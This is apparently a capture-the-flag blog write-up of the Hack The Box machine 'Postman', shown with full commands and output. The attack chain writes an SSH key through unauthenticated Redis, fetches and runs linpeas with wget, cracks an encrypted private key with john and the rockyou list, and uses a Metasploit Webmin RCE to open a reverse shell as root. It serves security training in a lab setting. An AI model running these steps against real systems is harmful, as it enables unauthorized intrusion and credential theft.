Previous Page

nihilist - 24 / 06 / 2021

Postman Writeup

Introduction :



Postman is an easy linux box released back in november 2019.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ nmap -p- -T4 10.10.10.160
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:25 CEST
Nmap scan report for 10.10.10.160
Host is up (0.041s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ nmap -sCV -p 22,80,6379,10000 10.10.10.160
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:26 CEST
Nmap scan report for 10.10.10.160
Host is up (0.034s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.79 seconds

Part 2 : Getting User Access



Our nmap scan picked up a Redis 4.0.x instance running on port 6379


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ searchsploit redis 4
------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Microsoft Windows 10 - Diagnostics Hub Standard Collector Service Privilege Escalation    | windows/local/45244.txt
Redis - Replication Code Execution (Metasploit)                                           | linux/remote/48272.rb
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                             | linux/remote/47195.rb
Redis 5.0 - Denial of Service                                                             | linux/dos/44908.txt
Redis-cli < 5.0 - Buffer Overflow (PoC)                                                   | linux/local/44904.py
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

As you can see, there are a few exploits available for redis 4.0.x and one of them is an unauthenticated command execxution and filewrites. So let's test that with redis-cli:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ sudo apt install redis -y

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
→ redis-cli -h 10.10.10.160
10.10.10.160:6379> CONFIG GET *
  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "cluster-announce-ip"
  8) ""
  9) "unixsocket"
 10) ""
 11) "logfile"
 12) "/var/log/redis/redis-server.log"
 13) "pidfile"
 14) "/var/run/redis/redis-server.pid"
[...]

Here we see that the default folder for redis seems to be /var/lib/redis, so we're going to check if the redis user has SSH authentication configured by checking for a .ssh folder:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ redis-cli -h 10.10.10.160

10.10.10.160:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/idontexist/
(error) ERR Changing directory: No such file or directory

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh/
OK

So here we see that a .ssh folder does exist in redis' home directory, let's write our public SSH key to it:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/nothing/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nothing/.ssh/id_ed25519
Your public key has been saved in /home/nothing/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:WUW671jwTAkg4RGKPvDZ4twbg6pWVynYTDS/HaTqbE0 nothing@nowhere
The key's randomart image is:
+--[ED25519 256]--+
|    .o=o.. .o    |
|   . +ooo. o     |
|. . * .o..+      |
| + + +.ooo.o .   |
|  * ..oES.o o    |
| o *o.o    *     |
|  = =+ .    =    |
| o  .+     +     |
|=   .     . .    |
+----[SHA256]-----+

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ (echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n") > pubkey.txt

[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat pubkey.txt



ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere




[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ cat pubkey.txt| redis-cli -h 10.10.10.160 -x set ssh_key
OK

Here you can see we made sure that the public key had newline characters on either side, that is because if we didn't, redis would add our pubkey onto another, without jumping to a newline, obviously it wouldn't work, then we proceed:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ redis-cli -h 10.10.10.160

10.10.10.160:6379> get ssh_key
"\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere\n\n\n\n"

10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

10.10.10.160:6379> CONFIG SET dbfilename authorized_keys
OK

10.10.10.160:6379> save
OK

10.10.10.160:6379> exit

Once that's done, simply ssh as the redis user:


[ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
→ ssh redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1

redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

redis@Postman:~$

Now that we have a ssh access to the box as the redis user, we're going to enumerate the box, to do so we can use the old fashioned unix-privesc-check or we can use a newer solution called 'LinPEAS', i'm going to use it for the other boxes aswell, so i'll clone the repository in my ~/Tools directory:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
→ git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
Cloning into 'privilege-escalation-awesome-scripts-suite'...
remote: Enumerating objects: 5452, done.
remote: Counting objects: 100% (239/239), done.
remote: Compressing objects: 100% (149/149), done.
remote: Total 5452 (delta 139), reused 132 (delta 85), pack-reused 5213
Receiving objects: 100% (5452/5452), 18.72 MiB | 3.94 MiB/s, done.
Resolving deltas: 100% (3250/3250), done.

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
→ cd ~/HTB/Postman

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ sudo updatedb ; locate linpeas.sh
[sudo] password for nothing:
/home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ cp $(locate linpeas.sh) .

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ ls -lash linpeas.sh
336K -rwxr-xr-x 1 nothing nothing 334K May 25 08:52 linpeas.sh

Now let's transfer the file onto the box:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...

Then download the script onto the box, you can either put it in /tmp or /dev/shm:


redis@Postman:~$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh
--2021-05-25 08:03:20--  http://10.10.14.13:9090/linpeas.sh
Connecting to 10.10.14.13:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 341863 (334K) [text/x-sh]
Saving to: ‘/dev/shm/peas.sh’

/dev/shm/peas.sh                                              100%[=================================================================================================================================================>] 333.85K   700KB/s    in 0.5s

2021-05-25 08:03:20 (700 KB/s) - ‘/dev/shm/peas.sh’ saved [341863/341863]

redis@Postman:~$ chmod +x /dev/shm/peas.sh
redis@Postman:~$ /dev/shm/peas.sh

linpeas.sh's output is quite massive so here's the important parts, if you're using tmux you can search for the output itself like this CTRL+B PgUp, CTRL+S 'ssh files':

So Peas found an id_rsa.bak file in the /opt folder:


redis@Postman:~$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

As the title suggests, this is an encrypted private key file, so let's crack it with rockyou.txt using john:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ sudo gunzip rockyou.txt.gz
[sudo] password for nothing:

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ ls -lash rockyou.txt
134M -rw-r--r-- 1 root root 134M Jul 17  2019 rockyou.txt

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
→ cd ~/HTB/Postman

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ vim pkey

Then we convert the private key to a hash with ssh2john.py and crack it with john:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ locate ssh2john.py
/usr/share/john/ssh2john.py

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ /usr/share/john/ssh2john.py pkey > hash

[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
Created directory: /home/nothing/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Node numbers 1-4 of 4 (fork)
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (pkey)
2 1g 0:00:00:05 DONE (2021-05-25 09:11) 0.1848g/s 662739p/s 662739c/s 662739C/sabygurl69
3 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 661514p/s 661514c/s 661514C/sa6_123
4 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660302p/s 660302c/s 660302C/s *7¡Vamos!
1 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660299p/s 660299c/s 660299C/sie168
Waiting for 3 children to terminate
Session completed

And we found the password computer2008. but the question is for which user is this for ? We can look at it from either /home or /etc/passwd:


redis@Postman:~$ ls -lash /home
total 12K
4.0K drwxr-xr-x  3 root root 4.0K Sep 11  2019 .
4.0K drwxr-xr-x 22 root root 4.0K Sep 30  2020 ..
4.0K drwxr-xr-x  6 Matt Matt 4.0K Sep 11  2019 Matt

redis@Postman:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

Here we see that the Matt user has a home directory, and a valid bash shell. So let's get to the user using sudo:


redis@Postman:~$ su Matt
Password:
Matt@Postman:/var/lib/redis$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ cat user.txt
23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get the Matt user flag!

Part 3 : Getting Root Access



Now we need to find a way to get root on this box, first instinct tells us to check sudo -l:


Matt@Postman:~$ sudo -l
[sudo] password for Matt:
Sorry, user Matt may not run sudo on Postman.

But that doesn't help us. Nor does anything else on this user, this is a bit of a rabbithole. Let's move onto the next thing our nmap scan picked up, the webmin service on port 10000


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ curl http://10.10.10.160:10000/

Error - Document follows

This web server is running in SSL mode. Try the URL https://Postman:10000/ instead.

So let's check it in https instead, we login as the Matt user with his password computer2008:


Matt@Postman:~$ cd /etc/webmin/

Matt@Postman:/etc/webmin$ cat version
1.910

So here's our hint, this is an outdated webmin version, so let's check what exploits we can use on it:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ searchsploit webmin 1.9
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
Webmin 1.900 - Remote Command Execution (Metasploit)  | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execu | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                  | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution  | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (M | linux/webapps/49318.rb
Webmin < 1.290 / Usermin <1.220 - Arbitrary File Dis | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Dis | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Met | linux/webapps/47330.rb
------------------------------------------------------ ---------------------------------
Shellcodes: No Results

So basically we can pick one of these, or we can make use of this proof of concept here:

TLDR we can get a RCE using burpsuite because the package updater is vulnerable to command injections through the u POST parameter. If you click on System on the panel to the left, then click on Software Package Updates, you can turn on Burpsuite to intercept, and then just click Update Selected Packages: So let's use metasploit:


[ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
→ msfconsole


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.0.44-dev                          ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 8 evasion                                       ]

Metasploit tip: You can use help to view all
available commands

msf6 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
   4  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   5  exploit/linux/http/webmin_backdoor           2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor


Interact with a module by name or index. For example info 5, use 5 or use exploit/linux/http/webmin_backdoor

msf6 > use 2

We're going to use the RCE module:


msf6 > use 2
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       Webmin Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      10000            yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path for Webmin application
   USERNAME                    yes       Webmin Username
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Webmin <= 1.910

We need to set the LHOST, RHOST, SSL, USERNAME and PASSWORD options before running the exploit:


msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST tun0
LHOST => 10.10.14.13
msf6 exploit(linux/http/webmin_packageup_rce) > set RHOST 10.10.10.160
RHOST => 10.10.10.160
msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(linux/http/webmin_packageup_rce) > run

[-] Exploit failed: One or more options failed to validate: USERNAME, PASSWORD.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
USERNAME => Matt
msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
PASSWORD => computer2008
msf6 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.14.13:4444
[+] Session cookie: 4cc0c13f51b9e777f7a9e0cdc9a93277
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.160:49564) at 2021-05-25 09:56:39 +0200

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
3aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it! We managed to get a root shell and print the root flag.

Conclusion



Here we can see the progress graph :